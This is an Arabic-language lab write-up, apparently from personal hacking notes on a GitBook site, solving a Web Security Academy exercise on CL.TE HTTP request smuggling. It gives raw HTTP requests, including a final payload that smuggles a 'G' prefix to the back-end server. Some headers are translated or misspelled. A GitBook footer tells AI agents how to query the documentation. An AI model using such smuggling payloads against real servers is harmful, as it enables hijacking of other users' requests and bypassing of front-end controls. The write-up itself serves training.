> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ar/web/request-smuggling/basic-vulnerability-cl-te.md).

# ثغرة CL.TE أساسية

### تهريب طلبات HTTP، ثغرة CL.TE الأساسية

في هذا المعمل، تتكون البنية التحتية من خادم أمامي وخادم خلفي. الخادم الأمامي **لا يدعم الترميز المجزأ** و **يرفض أي طلب لا يستخدم GET أو POST** الطرق.

الهدف هو أن **تهرّب طلبًا إلى الواجهة الخلفية** الخادم بحيث **يبدو أن الطلب التالي الذي يفسره الخادم يستخدم `GPOST`** الطريقة.

> ملاحظة:/ " حتى لو كان المعمل يقبل HTTP/2، فإن التقنية اللازمة تعتمد حصريًا على HTTP/1. يجب تغيير البروتوكول يدويًا في Burp Repeater عبر قسم Request attributes في Inspector.

> نصيحة:/ يمكن أن يكون التعامل اليدوي مع الأطوال في هجوم تهريب الطلبات معقدًا. يمكن لامتداد Burp HTTP Request Smuggler، المتوفر في BApp Store، أن يسهّل هذه المهمة.

#### \*\* مثال صالح تمت ملاحظته\*\*

تم قبول الطلب التالي:

```http
POST / HTTP/1.1
المضيف: 0acc00e204b4e3ae81f82028009c00eb.web-security-academy.net
Content-Length: 13
Tranfer-Encoding: chunked

3
abc
0


```

#### **خطأ عند تغيير الحجم النهائي**

إذا كان `0` يتم استبدال الحرف النهائي بحرف غير صالح (مثل `X`)، يُبلغ الخادم عن خطأ:

```
3
abc
X
```

<figure><img src="/files/46cce56a37f5eeb61280b653a1e468156ae15e52" alt=""><figcaption></figcaption></figure>

#### **إضافة الحرف النهائي المراد حقنه `G`**

بوضع `G` بعد الكتلة النهائية، يمكنك تهيئة الطلب المهرَّب للواجهة الخلفية:

```http
POST / HTTP/1.1
المضيف: 0acc00e204b4e3ae81f82028009c00eb.web-security-academy.net
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
طول المحتوى: 6
Transfer-Encoding: chunked

0

G
```

<figure><img src="/files/3addbfe35c8327d340eab9a8136a4bfead337f66" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/ar/web/request-smuggling/basic-vulnerability-cl-te.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
